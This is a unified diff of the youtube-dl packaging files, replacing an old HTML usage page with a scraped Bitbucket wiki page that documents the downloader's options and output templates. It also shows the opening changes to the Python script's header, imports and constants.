-			font-size: x-small;
-			text-align: center;
-		}
-		--></style>
-</head>
-<body>
-<h1>youtube-dl: Download videos from YouTube.com</h1>
-
-<h2>What is it?</h2>
+	<title>
+	rg3 / youtube-dl / wiki / Home &mdash; bitbucket.org
+</title>
+	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+	<meta name="description" content="Mercurial hosting - we're here to serve." />
+	<meta name="keywords" content="mercurial,hg,hosting,bitbucket,rg3,youtube-dl,is,a,small,command-line,program,for,downloading,videos,from,YouTube.com.,wiki" />
+	<link rel="stylesheet" type="text/css" href="http://bitbucket.org/m/css/layout.css?12985842" />
+	<link rel="stylesheet" type="text/css" href="http://bitbucket.org/m/css/print.css?12985842" media="print" />
+	<link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="Bitbucket" />
+	<link rel="icon" href="http://bitbucket.org/m/img/logo_new.png" type="image/png"/>
+	<script type="text/javascript" src="http://bitbucket.org/m/js/lib/bundle.180909Sep.js?2152820"></script>
+	
+	<script type="text/javascript">
+		$(document).ready(function() {
+			Dropdown.init();
+			$(".tooltip").tipsy({gravity:'s'});
+		});
+	</script>
+	<noscript>
+		<style type="text/css">
+			.dropdown-container-text .dropdown {
+				position: static !important;
+			}
+		</style>
+	</noscript>
+
+	<!--[if lt IE 7]>
+	<style type="text/css">
+	body {
+		behavior: url(http://bitbucket.org/m/css/csshover.htc);
+	}
+	
+	#issues-issue pre {
+		white-space: normal !important;
+	}
+	
+	.changeset-description {
+		white-space: normal !important;
+	}
+	</style>
+	<script type="text/javascript"> 
+		$(document).ready(function(){ 
+			$('#header-wrapper').pngFix();
+			$('#sourcelist').pngFix();
+			$('.promo-signup-screenshot').pngFix();
+		}); 
+	</script>
+	<![endif]-->
+	
+	<link rel="stylesheet" href="http://bitbucket.org/m/css/highlight/trac.css" type="text/css" />
+	<script type="text/javascript">
+		$(document).ready(function() {
+			$('#wiki table:not(.highlighttable)').addClass('wikitable');
+			$('#wiki table.wikitable tr:even').addClass('crow2');
+		});
+	</script>
 
-<p><em>youtube-dl</em> is a small command-line program to download videos
-from YouTube.com. It requires the <a href="http://www.python.org/">Python
-interpreter</a>, version 2.4 or later, and it's not platform specific.
-It should work in your Unix box, in Windows or in Mac OS X. The latest version
-is <strong>2008.01.24</strong>. It's licensed under the MIT License, which
-means you can modify it, redistribute it or use it however you like
-complying with a few simple conditions.</p>
-
-<p>I'll try to keep it updated if YouTube.com changes the way you access
-their videos. After all, it's a simple and short program. However, I can't
-guarantee anything. If you detect it stops working, check for new versions
-and/or inform me about the problem, indicating the program version you
-are using. If the program stops working and I can't solve the problem but
-you have a solution, I'd like to know it. If that happens and you feel you
-can maintain the program yourself, tell me. My contact information is
-at <a href="http://freshmeat.net/~rg3/">freshmeat.net</a>.</p>
-
-<p>Thanks for all the feedback received so far. I'm glad people find my
-program useful.</p>
-
-<p><strong>Related projects</strong>:
-<a href="../metacafe-dl/">metacafe-dl</a>
-<a href="../pornotube-dl/">pornotube-dl</a>
-</p>
-
-<h2>Usage instructions</h2>
-
-<p>In Windows, once you have installed the Python interpreter, save the
-program with the <em>.py</em> extension and put it somewhere in the PATH.
-Try to follow the
-<a href="http://rg03.wordpress.com/youtube-dl-under-windows-xp/">guide to
-install youtube-dl under Windows XP</a>.</p>
-
-<p>In Unix, download it, give it execution permission and copy it to one
-of the PATH directories (typically, <em>/usr/local/bin</em>).</p>
-
-<p>After that, you should be able to call it from the command line as
-<em>youtube-dl</em> or <em>youtube-dl.py</em>. I will use <em>youtube-dl</em>
-in the following examples. Usage instructions are easy. Use <em>youtube-dl</em>
-followed by a video URL or identifier. Example: <em>youtube-dl
-"http://www.youtube.com/watch?v=foobar"</em>. The video will be saved
-to the file <em>foobar.flv</em> in that example. As YouTube.com
-videos are in Flash Video format, their extension should be <em>flv</em>.
-In Linux and other unices, video players using a recent version of
-<em>ffmpeg</em> can play them. That includes MPlayer, VLC, etc. Those two
-work under Windows and other platforms, but you could also get a
-specific FLV player of your taste.</p>
-
-<p>If you try to run the program and you receive an error message containing the
-keyword <em>SyntaxError</em> near the end, it means your Python interpreter
-is too old.</p>
-
-<h2>More usage tips</h2>
-
-<ul>
-
-<li>You can change the file name of the video using the -o option, like in
-<em>youtube-dl -o vid.flv "http://www.youtube.com/watch?v=foobar"</em>.</li>
-
-<li>Some videos require an account to be downloaded, mostly because they're
-flagged as mature content. You can pass the program a username and password
-for a YouTube.com account with the -u and -p options, like <em>youtube-dl
--u myusername -p mypassword "http://www.youtube.com/watch?v=foobar"</em>.</li>
-
-<li>The account data can also be read from the user .netrc file by indicating
-the -n or --netrc option. The machine name is <em>youtube</em> in that
-case.</li>
-
-<li>The <em>simulate mode</em> (activated with -s or --simulate) can be used
-to just get the real video URL and use it with a download manager if you
-prefer that option.</li>
-
-<li>The <em>quiet mode</em> (activated with -q or --quiet) can be used to
-supress all output messages. This allows, in systems featuring /dev/stdout
-and other similar special files, outputting the video data to standard output
-in order to pipe it to another program without interferences.</li>
-
-<li>The program can be told to simply print the final video URL to standard
-output using the -g or --get-url option.</li>
-
-<li>Combined with the above option, the -2 or --title-too option tells the
-program to print the video title too.</li>
-
-<li>The default filename is <em>video_id.flv</em>. But you can also use the
-video title in the filename with the -t or --title option.</li>
-
-<li><em>youtube-dl</em> honors the <em>http_proxy</em> environment variable
-if you want to use a proxy. Set it to something like
-<em>http://proxy.example.com:8080</em>, and do not leave the <em>http://</em>
-prefix out.</li>
-
-<li>You can get the program version by calling it as <em>youtube-dl
--v</em> or <em>youtube-dl --version</em>.</li>
-
-<li>For usage instructions, use <em>youtube-dl -h</em> or <em>youtube-dl
---help.</em></li>
-
-<li>You can cancel the program at any time pressing Ctrl+C. It may print
-some error lines saying something about <em>KeyboardInterrupt</em>.
-That's ok.</li>
-
-</ul>
-
-<h2>Download it</h2>
-
-<p>Note that if you directly click on these hyperlinks, your web browser will
-most likely display the program contents. It's usually better to
-right-click on it and choose the appropriate option, normally called <em>Save
-Target As</em> or <em>Save Link As</em>, depending on the web browser you
-are using.</p>
-
-<p><a href="youtube-dl">2008.01.24</a></p>
-<ul>
-        <li><strong>MD5</strong>: 48a7df743398bbfdf2710962000886cb</li>
-        <li><strong>SHA1</strong>: 05ab118a157dbeedf7430d8445963c0340188c04</li>
-        <li><strong>SHA256</strong>: 6e98f3abfa79a038e578d45441bb6675ac6d4880bae4b801d5125e364e60d5c5</li>
-</ul>
+	
+	<link href="/rg3/youtube-dl/rss/" rel="alternate nofollow" type="application/rss+xml" title="RSS Feed for youtube-dl" />
 
-<p id="copyright">Copyright &copy; 2006-2007 Ricardo Garcia Gonzalez</p>
+</head>
+<body class="">
+	<div id="main-wrapper">
+		<div id="header-wrapper">
+			<div id="header">
+				<a href="/"><img src="http://bitbucket.org/m/img/logo_myriad.png" alt="Bitbucket" id="header-wrapper-logo" /></a>
+				
+					<div id="header-nav">
+						<div id="header-nav-login-forms">
+							<form action="/account/signin/" method="post">
+								<fieldset>
+									<input id="id_username_header" type="text" class="required login" name="username" value="username" maxlength="30" onfocus="if(this.value=='username'){this.value='';}; $(this).addClass('normaltext');" /> <input id="id_password_header" type="password" class="required login" name="password" value="password" maxlength="128" onfocus="if(this.value=='password'){this.value='';}; $(this).addClass('normaltext');" /> <input type="submit" name="blogin" value="&raquo;" style="display:none;" />
+									<input type="hidden" name="next" value="/rg3/youtube-dl/wiki/Home"/>
+								</fieldset>
+							</form>
+							<form name="fopenid" action="/account/signin/" method="post">
+								<fieldset>
+									<input id="id_openid_url" type="text" class="required openid" name="openid_url" maxlength="255" value="your OpenID URL" onfocus="if(this.value=='your OpenID URL'){this.value='';}; $(this).addClass('normaltext');" /> <input name="bsignin" type="submit" value="&raquo;" style="display: none;" />
+									<input type="hidden" name="next" value="/rg3/youtube-dl/wiki/Home" />
+								</fieldset>
+							</form>
+						</div>
+						
+						<ul class="right">
+							<li><a href="/">Home</a></li>
+							<li><a href="/plans/"><b>Plans &amp; Signup</b></a></li>
+							<li><a href="/repo/all/">Repositories</a></li>
+							<li><a href="/news/">News</a></li>
+							<li><a href="/help/">Help</a></li>
+							<li><a href="/account/signin/">Login</a></li>
+						</ul>
+					</div>
+				
+			</div>
+		</div>
+		<div id="content-wrapper">
+			
+			
+			
+
+			
+			
+			
+	
+	
+
+
+
+
+
+	<script type="text/javascript" src="http://bitbucket.org/m/js/lib/jquery.cookie.js"></script> <!--REMOVE WHEN NEWER BUNDLE THAN 030309Mar -->
+	<script type="text/javascript">
+		var date = new Date();
+		date.setTime(date.getTime() + (365 * 24 * 60 * 60 * 1000));
+		var cookieoptions = { path: '/', expires: date };
+		
+		$(document).ready(function(){
+			$('#toggle-repo-content').click(function(){
+				$('#repo-desc-cloneinfo').toggle('fast');
+				$('#repo-menu').toggle();
+				$('#repo-menu-links-mini').toggle(100);
+				$('.repo-desc-description').toggle('fast');
+				var avatar_new_width = ($('.repo-avatar').width() == 35) ? 16 : 35;
+				$('.repo-avatar').animate({ width: avatar_new_width }, 250);
+				
+				if ($.cookie('toggle_status') == 'hide') {
+					$.cookie('toggle_status', 'show', cookieoptions);
+					$(this).css('background-image','url(http://bitbucket.org/m/img/repo-toggle-up.png)');
+				} else {
+					$.cookie('toggle_status', 'hide', cookieoptions);
+					$(this).css('background-image','url(http://bitbucket.org/m/img/repo-toggle-down.png)');
+				}
+			});
+			
+			if ($.cookie('toggle_status') == 'hide') {
+				$('#toggle-repo-content').css('background-image','url(http://bitbucket.org/m/img/repo-toggle-down.png)');
+				$('#repo-desc-cloneinfo').hide();
+				$('#repo-menu').hide();
+				$('#repo-menu-links-mini').show();
+				$('.repo-desc-description').hide();
+				$('.repo-avatar').css({ width: '16px' });
+			} else {
+				$('#toggle-repo-content').css('background-image','url(http://bitbucket.org/m/img/repo-toggle-up.png)');
+				$('#repo-desc-cloneinfo').show();
+				$('#repo-menu').show();
+				$('#repo-menu-links-mini').hide();
+				$('.repo-desc-description').show();
+				$('.repo-avatar').css({ width: '35px' });
+			}
+		});
+	</script>
+
+
+<div id="tabs">
+	<ul class="ui-tabs-nav">
+		<li>
+			<a href="/rg3/youtube-dl/overview/"><span>Overview</span></a>
+		</li>
+
+		<li>
+			<a href="/rg3/youtube-dl/downloads/"><span>Downloads (0)</span></a>
+		</li>
+		
+		
+
+		<li>
+			
+				<a href="/rg3/youtube-dl/src/"><span>Source</span></a>			
+			
+		</li>
+		
+		<li>
+			<a href="/rg3/youtube-dl/changesets/"><span>Changesets</span></a>
+		</li>
+
+		
+			
+				<li class="ui-tabs-nav-issues ui-tabs-selected">
+					<a href="/rg3/youtube-dl/wiki/"><span>Wiki</span></a>
+				</li>
+			
+		
+
+		
+			
+				<li class="ui-tabs-nav-issues">
+					<a href="/rg3/youtube-dl/issues/?status=new&amp;status=open"><span>Issues (4) &raquo;</span></a>
+					<ul>
+						<li><a href="/rg3/youtube-dl/issues/?status=new">New issues</a></li>
+						<li><a href="/rg3/youtube-dl/issues/?status=new&amp;status=open">Open issues</a></li>
+						<li><a href="/rg3/youtube-dl/issues/?status=resolved&amp;status=invalid&amp;status=duplicate">Closed issues</a></li>
+					
+						<li><a href="/rg3/youtube-dl/issues/">All issues</a></li>
+						<li><a href="/rg3/youtube-dl/issues/query/">Advanced query</a></li>
+						<li><a href="/rg3/youtube-dl/issues/new/">Create new issue</a></li>
+					</ul>
+				</li>
+			
+		
+				
+		
+			
+		
+		
+		<li class="tabs-right tabs-far-right">
+			<a href="/rg3/youtube-dl/descendants/"><span>Forks/Queues (3)</span></a>
+		</li>
+		
+		<li class="tabs-right">
+			<a href="/rg3/youtube-dl/zealots/"><span>Followers (21)</span></a>
+		</li>
+	</ul>
+</div>
+
+<div id="repo-menu">
+		<div id="repo-menu-links">
+			<ul>
+				<li>
+					<a href="/rg3/youtube-dl/rss/" class="noborder repo-menu-rss" title="RSS Feed for youtube-dl">RSS</a>
+				</li>
+				<li>
+					<a href="/rg3/youtube-dl/atom/" class="noborder repo-menu-atom" title="Atom Feed for youtube-dl">Atom</a>
+				</li>
+				
+				<li>
+					<a href="/rg3/youtube-dl/pull/" class="link-request-pull">
+						pull request
+					</a>
+				</li>
+				
+				<li><a href="/rg3/youtube-dl/fork/" class="link-fork">fork</a></li>
+				
+					<li><a href="/rg3/youtube-dl/hack/" class="link-hack">patch queue</a></li>
+				
+				<li>
+					
+						<a rel="nofollow" href="/rg3/youtube-dl/follow/" class="link-follow">follow</a>
+					
+				</li>
+				<li><a class="link-download">get source &raquo;</a>
+
+					<ul>
+						
+						
+							<li><a rel="nofollow" href="/rg3/youtube-dl/get/805624cfc278.zip" class="zip">zip</a></li>
+							<li><a rel="nofollow" href="/rg3/youtube-dl/get/805624cfc278.gz" class="compressed">gz</a></li>
+							<li><a rel="nofollow" href="/rg3/youtube-dl/get/805624cfc278.bz2" class="compressed">bz2</a></li>
+						
+						
+					</ul>
+				</li>
+			</ul>
+		</div>
+		
+		
+		<div id="repo-menu-branches-tags">
+ 			<ul>
+				<li class="icon-branches">
+					branches &raquo;
+					
+					<ul>
+					
+						<li><a href="/rg3/youtube-dl/src/805624cfc278/">default</a></li>
+					
+					</ul>
+					
+				</li>
+				<li class="icon-tags">
+					tags &raquo;
+					
+					<ul>
+					
+						<li><a href="/rg3/youtube-dl/src/805624cfc278/">tip</a></li>
+					
+						<li><a href="/rg3/youtube-dl/src/6947c04fb1b4/">2009.09.13</a></li>
+					
+						<li><a href="/rg3/youtube-dl/src/4597eb63af5c/">2009.09.08</a></li>
+					
+						<li><a href="/rg3/youtube-dl/src/df8b882d8b39/">2009.08.08</a></li>
+					
+						<li><a href="/rg3/youtube-dl/src/2793d3270ff9/">2009.06.29</a></li>
+					
+						<li><a href="/rg3/youtube-dl/src/cfc3202eb7b6/">2009.05.30</a></li>
+					
+						<li><a href="/rg3/youtube-dl/src/4bc5ac772e8a/">2009.05.25</a></li>
+					
+						<li><a href="/rg3/youtube-dl/src/3f498fb56291/">2009.05.23</a></li>
+					
+						<li><a href="/rg3/youtube-dl/src/31198e942e00/">2009.05.13</a></li>
+					
+						<li><a href="/rg3/youtube-dl/src/95b216d50f8a/">2009.05.11</a></li>
+					
+						<li><a href="/rg3/youtube-dl/src/c42582904adf/">2009.04.25</a></li>
+					
+						<li><a href="/rg3/youtube-dl/src/468b207ea6ee/">2009.04.06</a></li>
+					
+						<li><a href="/rg3/youtube-dl/src/1dd3c78e417e/">2009.03.28</a></li>
+					
+						<li><a href="/rg3/youtube-dl/src/8dc1b312077f/">2009.03.03</a></li>
+					
+						<li><a href="/rg3/youtube-dl/src/ef03a5f5f333/">2009.02.07</a></li>
+					
+						<li><a href="/rg3/youtube-dl/src/ee7b97092712/">2009.01.31</a></li>
+					
+						<li><a href="/rg3/youtube-dl/src/c72929f1680d/">2008.11.01</a></li>
+					
+						<li><a href="/rg3/youtube-dl/src/846c13fabe78/">2008.10.16</a></li>
+					
+						<li><a href="/rg3/youtube-dl/src/9636c1843c6f/">2008.09.20</a></li>
+					
+						<li><a href="/rg3/youtube-dl/src/385afd90ca13/">2008.08.09</a></li>
+					
+						<li><a href="/rg3/youtube-dl/src/afa03d33275e/">2008.07.22</a></li>
+					
+					</ul>
+				</li>
+			</ul>
+		</div>
+		
+		
+		<div class="cb"></div>
+	</div>
+	<div id="repo-desc" class="layout-box">
+		
+		
+		<div id="repo-menu-links-mini" class="right">
+			<ul>
+				<li>
+					<a href="/rg3/youtube-dl/rss/" class="noborder repo-menu-rss" title="RSS Feed for youtube-dl"></a>
+				</li>
+				<li>
+					<a href="/rg3/youtube-dl/atom/" class="noborder repo-menu-atom" title="Atom Feed for youtube-dl"></a>
+				</li>
+				
+				<li>
+					<a href="/rg3/youtube-dl/pull/" class="tooltip noborder link-request-pull" title="Pull request"></a>
+				</li>
+				
+				<li><a href="/rg3/youtube-dl/fork/" class="tooltip noborder link-fork" title="Fork"></a></li>
+				
+					<li><a href="/rg3/youtube-dl/hack/" class="tooltip noborder link-hack" title="Patch queue"></a></li>
+				
+				<li><a class="tooltip noborder link-download" title="Get source"></a>
+
+					<ul>
+						
+						
+							<li><a rel="nofollow" href="/rg3/youtube-dl/get/805624cfc278.zip" class="zip">zip</a></li>
+							<li><a rel="nofollow" href="/rg3/youtube-dl/get/805624cfc278.gz" class="compressed">gz</a></li>
+							<li><a rel="nofollow" href="/rg3/youtube-dl/get/805624cfc278.bz2" class="compressed">bz2</a></li>
+						
+						
+					</ul>
+				</li>
+			</ul>
+		</div>
+		
+		<h3>
+			<a href="/rg3/">rg3</a> / 
+			<a href="/rg3/youtube-dl/wiki/Home">youtube-dl</a>
+			 <span>(<a href="http://bitbucket.org/rg3/youtube-dl/wiki/">http://bitbucket.org/rg3/youtube-dl/wiki/</a>)</span>
+			
+		</h3>
+		
+		
+		
+		
+		
+		<p class="repo-desc-description">youtube-dl is a small command-line program for downloading videos from <a href="http://YouTube.com" rel="nofollow">YouTube.com</a>.</p>
+		
+		<div id="repo-desc-cloneinfo">Clone this repository (size: 199.5 KB): <a href="http://bitbucket.org/rg3/youtube-dl/" onclick="$('#clone-url-ssh').hide();$('#clone-url-https').toggle();return(false);"><small>HTTPS</small></a> / <a href="ssh://hg at bitbucket.org/rg3/youtube-dl/" onclick="$('#clone-url-https').hide();$('#clone-url-ssh').toggle();return(false);"><small>SSH</small></a><br/>
+		<pre id="clone-url-https">$ hg clone <a href="http://bitbucket.org/rg3/youtube-dl/">http://bitbucket.org/rg3/youtube-dl/</a></pre>
+		
+		<pre id="clone-url-ssh" style="display:none;">$ hg clone <a href="ssh://hg at bitbucket.org/rg3/youtube-dl/">ssh://hg at bitbucket.org/rg3/youtube-dl/</a></pre></div>
+		
+		<div class="cb"></div>
+		<a href="#" id="toggle-repo-content"></a>
+	</div>
+
+
+			
+			
+
+	
+
+<div class="global-divider-header issues-nav">	
+	<div id="wiki-nav-links">
+		<span class="right">
+			<nobr>
+				<small>hg clone http://bitbucket.org/rg3/youtube-dl/wiki/</small>
+			</nobr>
+		</span>
+		
+		
+		<b><a href="/rg3/youtube-dl/wiki/Home" class="wiki-icon-home">Home</a></b>
+		
+		<a href="/rg3/youtube-dl/wiki/history/Home" class="wiki-icon-history">History</a>
+		<a href="http://www.wikicreole.org/wiki/Creole1.0" class="wiki-icon-markup">Wiki Markup</a>
+	</div>
+	<div class="cb"></div>
+</div>
+
+	
+
+	<div id="wiki">
+		<p>?</p>
+<h1 id="youtube-dl-download-videos-from-youtubecom">youtube-dl: Download videos from YouTube.com</h1>
+<p>(and more...)</p>
+<h2 id="what-is-it">What is it?</h2>
+<p><em>youtube-dl</em> is a small command-line program to download videos from YouTube.com. It requires the <a href="http://www.python.org/">Python interpreter</a>, version 2.x (x being at least 4), and it's not platform specific. It should work in your Unix box, in Windows or in Mac OS X. The latest version is <strong>2009.09.13</strong>. It's released to the public domain, which means you can modify it, redistribute it or use it however you like.</p>
+<p>I'll try to keep it updated if YouTube.com changes the way you access their videos. After all, it's a simple and short program. However, I can't guarantee anything. If you detect it stops working, check for new versions and/or inform me about the problem, indicating the program version you are using. If the program stops working and I can't solve the problem but you have a solution, I'd like to know it. If that happens and you feel you can maintain the program yourself, tell me. My contact information is at <a href="http://rg03.wordpress.com/contact-me/">rg03.wordpress.com</a>.</p>
+<p>Thanks for all the feedback received so far. I'm glad people find my program useful.</p>
+<h2 id="usage-instructions">Usage instructions</h2>
+<p>In Windows, once you have installed the Python interpreter, save the program with the <em>.py</em> extension and put it somewhere in the PATH. Try to follow the <a href="/rg3/youtube-dl/wiki/youtube-dl_under_Windows_XP">guide to install youtube-dl under Windows XP</a>.</p>
+<p>In Unix, download it, give it execution permission and copy it to one of the PATH directories (typically, <em>/usr/local/bin</em>).</p>
+<p>After that, you should be able to call it from the command line as <em>youtube-dl</em> or <em>youtube-dl.py</em>. I will use <em>youtube-dl</em> in the following examples. Usage instructions are easy. Use <em>youtube-dl</em> followed by a video URL or identifier. Example: <em>youtube-dl "<code>http://www.youtube.com/watch?v=foobar</code>"</em>. The video will be saved to the file <em>foobar.flv</em> in that example. As YouTube.com videos are in Flash Video format, their extension should be <em>flv</em>. In Linux and other unices, video players using a recent version of <em>ffmpeg</em> can play them. That includes MPlayer, VLC, etc. Those two work under Windows and other platforms, but you could also get a specific FLV player of your taste.</p>
+<p>If you try to run the program and you receive an error message containing the keyword <em>SyntaxError</em> near the end, it means your Python interpreter is too old.</p>
+<h2 id="more-usage-tips">More usage tips</h2>
+<ul><li>You can change the file name of the video using the -o option, like in <em>youtube-dl -o vid.flv "<code>http://www.youtube.com/watch?v=foobar</code>"</em>. Read the Output template section for more details on this.
+</li><li>Some videos require an account to be downloaded, mostly because they're flagged as mature content. You can pass the program a username and password for a YouTube.com account with the -u and -p options, like <em>youtube-dl -u myusername -p mypassword "<code>http://www.youtube.com/watch?v=foobar</code>"</em>.
+</li><li>The account data can also be read from the user .netrc file by indicating the -n or --netrc option. The machine name is youtube in that case.
+</li><li>The simulate mode (activated with -s or --simulate) can be used to just get the real video URL and use it with a download manager if you prefer that option.
+</li><li>The quiet mode (activated with -q or --quiet) can be used to supress all output messages. This allows, in systems featuring <em>/dev/stdout</em> and other similar special files, outputting the video data to standard output in order to pipe it to another program without interferences.
+</li><li>The program can be told to simply print the final video URL to standard output using the -g or --get-url option.
+</li><li>In a similar line, the -e or --get-title option tells the program to print the video title.
+</li><li>The default filename is video_id.flv. But you can also use the video title in the filename with the -t or --title option, or preserve the literal title in the filename with the -l or --literal option.
+</li><li>You can make the program append <em>&amp;fmt=something</em> to the URL by using the -f or --format option. This makes it possible to download high quality versions of the videos when available.
+</li><li>The -b or --best-quality option can be used to download the highest available quality version of any given video.
+</li><li>The -m or --mobile-version option is an alias for -f 17.
+</li><li>The -d or --high-def option is an alias for -f 22.
+</li><li>Normally, the program will stop on the first error, but you can tell it to attempt to download every video with the -i or --ignore-errors option.
+</li><li>The -a or --batch-file option lets you specify a file to read URLs from. The file must contain one URL per line.
+</li><li>The program can be told not to overwrite existing files using the -w or --no-overwrites option.
+</li><li>It can be told to attempt to continue interrupted downloads with the -c or --continue option.
+</li><li>For YouTube, you can also use the URL of a playlist, and it will download all the videos in that playlist.
+</li><li>For YouTube, you can also use the special word ytsearch to download search results. With ytsearch it will download the first search result. With ytsearchN, where N is a number, it will download the first N results. With ytsearchall it will download every result for that search. In most systems you'll need to use quotes for multiple words. Example: <em>youtube-dl "ytsearch3:cute kittens"</em>.
+</li><li><em>youtube-dl</em> honors the http_proxy environment variable if you want to use a proxy. Set it to something like <em><code>http://proxy.example.com:8080</code></em>, and do not leave the <em><code>http://</code></em> prefix out.
+</li><li>You can get the program version by calling it as <em>youtube-dl -v</em> or <em>youtube-dl --version</em>.
+</li><li>For usage instructions, use <em>youtube-dl -h</em> or <em>youtube-dl --help</em>.
+</li><li>You can cancel the program at any time pressing Ctrl+C. It may print some error lines saying something about <em>KeyboardInterrupt</em>. That's ok.
+</li></ul>
+<h2 id="download-it">Download it</h2>
+<p>Note that if you directly click on these hyperlinks, your web browser will most likely display the program contents. It's usually better to right-click on it and choose the appropriate option, normally called <em>Save Target As</em> or <em>Save Link As</em>, depending on the web browser you are using.</p>
+<h3 id="httpbitbucketorgrg3youtube-dlraw20090913youtube-dl20090913"><a href="http://bitbucket.org/rg3/youtube-dl/raw/2009.09.13/youtube-dl">2009.09.13</a></h3>
+<ul><li><strong>MD5</strong>: db4e6acf6876f5df4896724be0084980
+</li><li><strong>SHA1</strong>: c76eca4489d625b76955d2eda76be19960bd9f3b
+</li><li><strong>SHA256</strong>: d6ca29457644d3fca8915f50470d50a2599100365bfdc94784868d7884a98afe
+</li></ul>
+<h3 id="output-template">Output template</h3>
+<p>The -o option allows users to indicate a template for the output file names. The basic usage is not to set any template arguments when downloading a single file, like in <em>youtube-dl -o funny_video.flv "<code>http://some/video</code>"</em>. However, it may contain special sequences that will be replaced when downloading each video. The special sequences have the format <strong>%(NAME)s</strong>. To clarify, that's a percent symbol followed by a name in parenthesis, followed by a lowercase S. Allowed names are:</p>
+<ul><li><em>id</em>: The sequence will be replaced by the video identifier.
+</li><li><em>url</em>: The sequence will be replaced by the video URL.
+</li><li><em>uploader</em>: The sequence will be replaced by the nickname of the person who uploaded the video.
+</li><li><em>title</em>: The sequence will be replaced by the literal video title.
+</li><li><em>stitle</em>: The sequence will be replaced by a simplified video title, restricted to alphanumeric characters and dashes.
+</li><li><em>ext</em>: The sequence will be replaced by the appropriate extension (like <em>flv</em> or <em>mp4</em>).
+</li><li><em>epoch</em>: The sequence will be replaced by the Unix epoch when creating the file.
+</li></ul>
+<p>As you may have guessed, the default template is <em>%(id)s.%(ext)s</em>. When some command line options are used, it's replaced by other templates like <em>%(title)s-%(id)s.%(ext)s</em>. You can specify your own.</p>
+<h2 id="authors">Authors</h2>
+<ul><li>Ricardo Garcia Gonzalez: program core, YouTube.com InfoExtractor, metacafe.com InfoExtractor and YouTube playlist InfoExtractor.
+</li><li>Danny Colligan: YouTube search InfoExtractor, ideas and patches.
+</li><li>Many other people contributing patches, code, ideas and kind messages. Too many to be listed here. You know who you are. Thank you very much.
+</li></ul>
+<p>Copyright ? 2006-2009 Ricardo Garcia Gonzalez</p>
+
+		
+		
+	</div>
+
+
+			<div class="cb"></div>
+		</div>
+		<div class="cb footer-placeholder"></div>
+	</div>
+	<div id="footer-wrapper">
+		<div id="footer">
+			<a href="/site/terms/">TOS</a> | <a href="/site/privacy/">Privacy Policy</a> | <a href="http://blog.bitbucket.org/">Blog</a> | <a href="http://bitbucket.org/jespern/bitbucket/issues/new/">Report Bug</a> | <a href="http://groups.google.com/group/bitbucket-users">Discuss</a> | <a href="http://avantlumiere.com/">&copy; 2008-2009</a>
+			| We run <small><b>
+				<a href="http://www.djangoproject.com/">Django 1.1.0</a> / 
+				<a href="http://bitbucket.org/jespern/django-piston/">Piston 0.2.3rc1</a> / 
+				<a href="http://www.selenic.com/mercurial/">Hg 1.3.1</a> / 
+				<a href="http://www.python.org">Python 2.5.2</a> /
+				r2687
+			</b></small>
+		</div>
+	</div>
+	<script type="text/javascript">
+	var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
+	document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
+	</script>
+	<script type="text/javascript">
+	var pt = _gat._getTracker("UA-2456069-3");
+	pt._trackPageview();
+	</script>
 </body>
 </html>


Index: youtube-dl
===================================================================
RCS file: /cvs/pkgs/rpms/youtube-dl/devel/youtube-dl,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- youtube-dl	26 Jan 2008 11:33:26 -0000	1.1
+++ youtube-dl	9 Oct 2009 16:41:25 -0000	1.2
@@ -1,387 +1,1228 @@
 #!/usr/bin/env python
-#
-# Copyright (c) 2006-2008 Ricardo Garcia Gonzalez
-#
-# Permission is hereby granted, free of charge, to any person obtaining a
-# copy of this software and associated documentation files (the "Software"),
-# to deal in the Software without restriction, including without limitation
-# the rights to use, copy, modify, merge, publish, distribute, sublicense,
-# and/or sell copies of the Software, and to permit persons to whom the
-# Software is furnished to do so, subject to the following conditions:
-# 
-# The above copyright notice and this permission notice shall be included
-# in all copies or substantial portions of the Software.
-# 
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
-# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR
-# OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
-# ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
-# OTHER DEALINGS IN THE SOFTWARE.
-# 
-# Except as contained in this notice, the name(s) of the above copyright
-# holders shall not be used in advertising or otherwise to promote the
-# sale, use or other dealings in this Software without prior written
-# authorization.
-#
-import getpass
+# -*- coding: utf-8 -*-
+# Author: Ricardo Garcia Gonzalez
+# Author: Danny Colligan
+# License: Public domain code
+import htmlentitydefs
 import httplib
+import locale
 import math
 import netrc
-import optparse
 import os
+import os.path
 import re
 import socket
 import string
 import sys
 import time
+import urllib
 import urllib2
 
-# Global constants
-const_1k = 1024
-const_initial_block_size = 10 * const_1k
-const_epsilon = 0.0001
-const_timeout = 120
-
-const_video_url_str = 'http://www.youtube.com/watch?v=%s'
-const_video_url_re = re.compile(r'^((?:http://)?(?:\w+\.)?youtube\.com/(?:v/|(?:watch(?:\.php)?)?\?(?:.+&)?v=))?([0-9A-Za-z_-]+)(?(1)[&/].*)?$')
-const_login_url_str = 'http://www.youtube.com/login?next=/watch%%3Fv%%3D%s'
-const_login_post_str = 'current_form=loginForm&next=%%2Fwatch%%3Fv%%3D%s&username=%s&password=%s&action_login=Log+In'
-const_age_url_str = 'http://www.youtube.com/verify_age?next_url=/watch%%3Fv%%3D%s'
-const_age_post_str = 'next_url=%%2Fwatch%%3Fv%%3D%s&action_confirm=Confirm'
-const_url_t_param_re = re.compile(r', "t": "([^"]+)"')
-const_video_url_real_str = 'http://www.youtube.com/get_video?video_id=%s&t=%s'
-const_video_title_re = re.compile(r'<title>YouTube - ([^<]*)</title>', re.M | re.I)
-
-# Print error message, followed by standard advice information, and then exit
-def error_advice_exit(error_text):
-	sys.stderr.write('Error: %s.\n' % error_text)
-	sys.stderr.write('Try again several times. It may be a temporary problem.\n')
-	sys.stderr.write('Other typical problems:\n\n')
-	sys.stderr.write('* Video no longer exists.\n')
